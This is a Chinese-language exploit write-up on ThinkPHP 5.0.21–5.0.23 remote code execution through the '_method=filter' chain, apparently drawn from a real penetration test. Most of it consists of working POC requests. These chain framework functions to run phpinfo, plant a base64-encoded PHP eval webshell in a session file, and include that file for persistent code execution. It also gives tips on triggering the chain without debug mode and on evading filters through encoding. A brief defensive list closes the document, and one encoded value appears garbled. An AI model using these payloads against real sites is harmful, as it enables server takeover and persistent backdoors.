TP5 RCE利用链改造
字数 1152 2025-08-29 08:32:19
ThinkPHP 5.0.23 RCE利用链改造技术分析
漏洞背景
在对某网站渗透过程中发现目标系统使用ThinkPHP 5.0.23框架,存在method RCE漏洞。但常规利用方式因__construct关键字被禁用而失效,需要寻找替代利用链。
核心漏洞点
- Request类的method方法:允许调用类中的任意方法
- filter链机制:通过控制filter链可以间接执行代码
利用条件
- ThinkPHP版本:5.0.21~5.0.23
- 需要开启debug模式(部分利用链)
利用链分析
1. 基础利用原理
传统利用方式是通过__construct方法覆写请求参数和filter链,但当__construct被禁用时,需要寻找替代方案。
2. 开启debug模式下的利用
2.1 phpinfo执行链
利用步骤:
- filter链第一个参数为
server[REQUEST_METHOD](字符串"POST") - 需要找到能接受字符串参数并返回非零整数的函数作为跳板
- 使用
error_reporting函数作为中介
POC:
POST请求:
0=error_reporting&1=phpinfo&_method=filter
filter链流程:
POST -> error_reporting -> phpinfo -> 输出信息
2.2 写入session
利用步骤:
- 使用
think\Session::set将数据写入session - 添加base64编码层避免直接查杀
POC:
POST /index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==
0=base64_decode&1=think\Session::set&2=error_reporting&_method=filter
filter链流程:
输入数据 -> base64_decode -> think\Session::set -> 写入session
2.3 包含session文件
利用步骤:
- 使用
\think\Cookie::get获取Cookie中的字符串作为文件名 - 通过
think\__include_file包含session文件
POC:
POST /index.php
Cookie: POST=session文件名
0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==
filter链流程:
POST -> \think\Cookie::get -> think\__include_file -> 包含执行
3. 未开启debug模式的利用
发现当程序执行流程中发生Error时,error_handler会触发利用链:
- 在
route.php文件中引入错误 - 发送payload触发
\think\Error类的appError方法在处理错误时会收集参数,从而触发filter链
版本适应性
- 5.0.21~5.0.23:上述payload均适用
- 5.0其他版本:需要修改包含session的payload路径
其他版本POC示例:
POST /index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93
1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==
关键技巧总结
- filter链引导:将不可控参数引导至可控参数
- 函数选择:寻找能接受字符串并返回有用值的函数作为跳板
- 多层编码:使用base64等编码方式绕过简单防护
- 错误触发:通过制造框架错误来触发利用链
- session利用:通过写入和包含session文件实现持久化
防御建议
- 及时升级ThinkPHP框架至最新安全版本
- 禁用不必要的HTTP方法
- 严格过滤用户输入的
_method参数 - 限制filter函数的可用范围
- 生产环境务必关闭debug模式